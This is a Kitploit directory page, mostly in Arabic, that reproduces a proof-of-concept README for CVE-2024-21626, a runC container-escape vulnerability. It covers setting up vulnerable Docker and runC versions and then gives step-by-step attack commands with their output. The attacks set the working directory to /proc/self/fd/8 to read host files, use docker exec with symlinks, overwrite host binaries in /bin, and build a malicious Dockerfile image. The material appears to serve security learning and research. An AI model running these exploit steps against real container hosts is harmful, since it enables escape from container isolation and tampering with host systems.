Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-21626 | Kitploit
أدوات/GitHubGitHub/sk3pper/cve-2024-21626
أمن الحاوياتتحليل الثغرات الأمنيةالاستغلالأمن السحابةالتعلم والتعليمالهروب من الحاوية
GitHubsk3pper/cve-2024-21626

CVE-2024-21626

عرض المستودع
21منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إثبات المفهوم لـ CVE-2024-21626

اقرأ مقالتي الكاملة للشرح المفصل هنا.

مقالة ذات صلة

أثناء التحقيق في CVE-2024–21626، اكتشفت ثغرة أمنية تم التغاضي عنها في الإصدارات الأقدم من Docker و runC. لمعرفة المزيد حول ما وجدته، اقرأ المقالة التالية: "استكشاف الثغرات الأمنية المخفية في إصدارات Docker القديمة: دروس مستفادة من CVE-2024–21626".

إعداد البيئة 🔨

أ. تنزيل وتثبيت إصدار 22.04.1-Ubuntu LTS

أثناء التثبيت، لا تقم بتحديد خيار تنزيل تحديثات النظام.

ب. تثبيت صورة CD الخاصة بإضافات الضيف للعمل بسهولة مع الجهاز الافتراضي

  • أدخل صورة CD الخاصة بإضافات الضيف

  • افتح الطرفية في صورة CD المحمّلة

  • شغّل السكربت VBoxLinuxAdditions.run

    root@kitploit:~
    demo@demo-pc:/media/demo/VBox_GAs_7.0.14$ sudo ./VBoxLinuxAdditions.run 
    

ج. تثبيت إصدار docker الثغِر والمكوّنات ذات الصلة

  • إعداد مستودع apt الخاص بـ Docker

    root@kitploit:~
    # set up Docker's apt repository: add Docker's official GPG key:
    sudo apt update
    sudo apt install ca-certificates curl
    sudo install -m 0755 -d /etc/apt/keyrings
    sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
    sudo chmod a+r /etc/apt/keyrings/docker.asc
    
    # add the repository to Apt sources:
    echo \
    "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
    $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
    sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
    sudo apt update
    
  • ابحث عن الإصدار الصحيح للمكوّنات المختلفة وقم بتثبيته (docker-ce، docker-ce-cli، containerd.io، docker-buildx-plugin).

    root@kitploit:~
    # search in the cache reposiroty the docker-ce available packages
    apt-cache madison docker-ce | awk '{ print $3 }'
    # setup the chosen version
    VERSION_STRING=5:24.0.6-1~ubuntu.22.04~jammy
    
    # search in the cache reposiroty the containerd.io and docker-buildx-plugin available packages
    apt-cache madison containerd.io | awk '{ print $3 }'
    apt-cache madison docker-buildx-plugin | awk '{ print $3 }'docker-buildx-plugin
    
    # install the packages
    sudo apt install docker-ce=$VERSION_STRING \
        docker-ce-cli=$VERSION_STRING \
        containerd.io=1.6.4-1 \
        docker-buildx-plugin=0.10.2-1~ubuntu.22.04~jammy
    

إذا كانت الحزم قديمة جدًا بحيث لا يمكن العثور عليها (انظر أيضًا إلى المستودع القديم عبر الإنترنت)، أو إذا لم تتمكن من استخدام مستودع apt الخاص بـ Docker لتثبيت Docker Engine، يمكنك تنزيل ملف deb الخاص بإصدارك وتثبيته يدويًا. انتقل إلى https://download.docker.com/linux/ubuntu/dists/ أو استخدم ملفات deb الموجودة داخل مستودع GitHub الخاص بي وقم بتثبيتها.

root@kitploit:~
# clone CVE-2024-21626 repository
git clone [email protected]:Sk3pper/CVE-2024-21626.git

# install deb files
cd CVE-2024-21626/deb
sudo dpkg -i ./containerd.io_1.6.4-1_amd64.deb \
./docker-ce_24.0.6-1~ubuntu.22.04~jammy_amd64.deb \
./docker-ce-cli_24.0.6-1~ubuntu.22.04~jammy_amd64.deb \
./docker-buildx-plugin_0.10.2-1~ubuntu.22.04~jammy_amd64.deb

د. التحقق من الإصدارات المثبتة

root@kitploit:~
sudo docker version
runc --version    
containerd --version
uname -r

هـ. التحقق مما إذا كانت النواة قابلة للاستغلال

لكي تعمل الثغرة بشكل صحيح، يلزم وجود استدعاء النظام openat2. يمكن التحقق يدويًا باستخدام الأمر التالي:

root@kitploit:~
grep openat2 /proc/kallsyms 

قد تكون هناك حالات يلزم فيها التحقق من وجود استدعاء النظام openat2 باستخدام سكربت golang التالي المتاح في مستودع GitHub الخاص بي.

root@kitploit:~
# clone CVE-2024-21626 repository
git clone [email protected]:Sk3pper/CVE-2024-21626.git

# run testOpenat2
cd testOpenat2
./testOpenat2
The unix.Openat2 syscall is present on this system.

تم بناء الملف الثنائي الموجود باستخدام العلمات التالية

root@kitploit:~
env GOOS=linux GOARCH=amd64 go build testOpenat2.go

التحقق مما إذا كان الهدف قابلًا للاستغلال 🧐

شغّل checkVulnerability.sh ولاحظ ما إذا كان الملف يُطبع في الطرفية

root@kitploit:~
# clone CVE-2024-21626 repository
git clone [email protected]:Sk3pper/CVE-2024-21626.git

# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh

الهجوم 1 🦏

الاستغلال عبر ضبط دليل العمل على /proc/self/fd/

root@kitploit:~
# run container with working directory to /proc/self/fd/8
sudo docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm

# read host filesystem files inside the container
root@c4c0a9c99be6:.# cat ../../../../../../../../../../../etc/hostname
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
demo-pc

استغلال عبر تشغيل حاوية

الهجوم 2 🐯

الاستغلال عبر docker exec:

افتح طرفية واحدة ونفّذ الأوامر التالية

root@kitploit:~
# terminal 1
# run container
demo@demo-pc:~$ sudo docker run --name cve-2024-21626 --rm -it debian:bookworm
# create symlinks
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /foo
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /bar

افتح طرفية أخرى وشغّل الأمر التالي

root@kitploit:~
# terminal 2: exec inside the container and set working directory
sudo docker exec -it -w /bar cve-2024-21626 sleep 120

عد إلى الطرفية الأولى وادخل إلى نظام ملفات مسار المضيف

root@kitploit:~
# terminal 1: find actula pid with the right cmdline
root@d98de5a852d7:/# ls -f /proc
.    irq   kmsg   kcore   mdstat   cpuinfo  sysvipc   softirqs  bootconfig  execdomains    sysrq-trigger      15
..   net   misc   locks   mounts   devices  version   zoneinfo  interrupts  filesystems    version_signature
fb   sys   mtrr   swaps   uptime   ioports  consoles  buddyinfo  kpagecount  kpagecgroup    self
fs   tty   scsi   asound  vmstat   loadavg  kallsyms  diskstats  kpageflags  vmallocinfo    thread-self
bus  acpi  stat   crypto  cgroups  meminfo  pressure  key-users  partitions  pagetypeinfo   1
dma  keys  iomem  driver  cmdline  modules  slabinfo  schedstat  timer_list  dynamic_debug  9
    
root@d98de5a852d7:/# cat /proc/9/cmdline 
sleep120

# read host filesystem files
root@d98de5a852d7:/# cat /proc/9/cwd/../../../../../../../../../etc/hostname
demo-pc

# read container filesystem files
root@d98de5a852d7:/# cat /etc/hostname 
d98de5a852d7

استغلال عبر التنفيذ داخل حاوية قيد التشغيل

الهجوم 3a 🦁

root@kitploit:~
# Attack 3a is attack 1 but adapted to overwrite a host binary

# run container with the working direcotry to /proc/self/fd/8
sudo docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@e5b0730af51d:.# 

# write file in the host container
root@b6873018a7e8:.# cat > ../../../../../../../../bin/cve2024_21626 << EOF
#!/bin/bash
echo "Hello CVE-2024-21626"
EOF

# change chmod
root@b6873018a7e8:.# ../../../../../bin/chmod +x ../../../../bin/cve2024_21626
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory

# check if the file is present in the host
demo@demo-pc:/bin$ ls -la | grep cve
-rwxr-xr-x  1 root root          40 mar  7 13:24 cve2024_21626

# try it in the host
demo@demo-pc:/bin$ sudo ./cve2024_21626 
Hello CVE-2024-21626

استغلال عبر التنفيذ داخل حاوية قيد التشغيل

الهجوم 3b 🦍

root@kitploit:~
# scenario 3b: host binary overwrite attack
# Attack 3b is attack 2 but adapted to overwrite a host binary

# terminal 1
# run container
sudo docker run --name cve-2024-21626 --rm -it debian:bookworm

# create symlinks
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /foo
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /bar

# terminal 2: exec inside the container and set working directory
sudo docker exec -it -w /bar cve-2024-21626 sleep 1000

# terminal 1
# find actula pid with the right cmdline
root@d98de5a852d7:/# ls -f /proc
.    irq   kmsg   kcore   mdstat   cpuinfo  sysvipc   softirqs  bootconfig  execdomains    sysrq-trigger      15
..   net   misc   locks   mounts   devices  version   zoneinfo  interrupts  filesystems    version_signature
fb   sys   mtrr   swaps   uptime   ioports  consoles  buddyinfo  kpagecount  kpagecgroup    self
fs   tty   scsi   asound  vmstat   loadavg  kallsyms  diskstats  kpageflags  vmallocinfo    thread-self
bus  acpi  stat   crypto  cgroups  meminfo  pressure  key-users  partitions  pagetypeinfo   1
dma  keys  iomem  driver  cmdline  modules  slabinfo  schedstat  timer_list  dynamic_debug  9

root@d98de5a852d7:/# cat /proc/9/cmdline 
sleep120

# write file in the host container
root@b6873018a7e8:.# cat > /proc/8/cwd/../../../../bin/cve2024_21626 << EOF
#!/bin/bash
echo "Hello CVE-2024-21626"
EOF

# change chmod
root@b6873018a7e8:.# /proc/8/cwd/../../../../bin/chmod +x \
                     /proc/8/cwd/../../../../bin/cve2024_21626
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory

# check if the file is present in the host
demo@demo-pc:/bin$ ls -la | grep cve
-rwxr-xr-x  1 root root          40 mar  7 13:39 cve2024_21626

# try it in the host
demo@demo-pc:/bin$ sudo ./cve2024_21626 
Hello CVE-2024-21626

الهجوم باستخدام صورة خبيثة 🐳

بالنظر إلى ملف Dockerfile التالي

root@kitploit:~
FROM ubuntu:20.04
RUN apt-get update -y && apt-get install netcat -y
WORKDIR /proc/self/fd/8

قم ببناء الصورة وتشغيلها

root@kitploit:~
sudo docker  build . -t devil-image

sudo docker run -it --rm devil-image bash
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory

root@415a2e1f079f:.# cat ../../../../../etc/hostname
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
demo-pc

استغلال عبر صورة خبيثة

تنزيل الأداة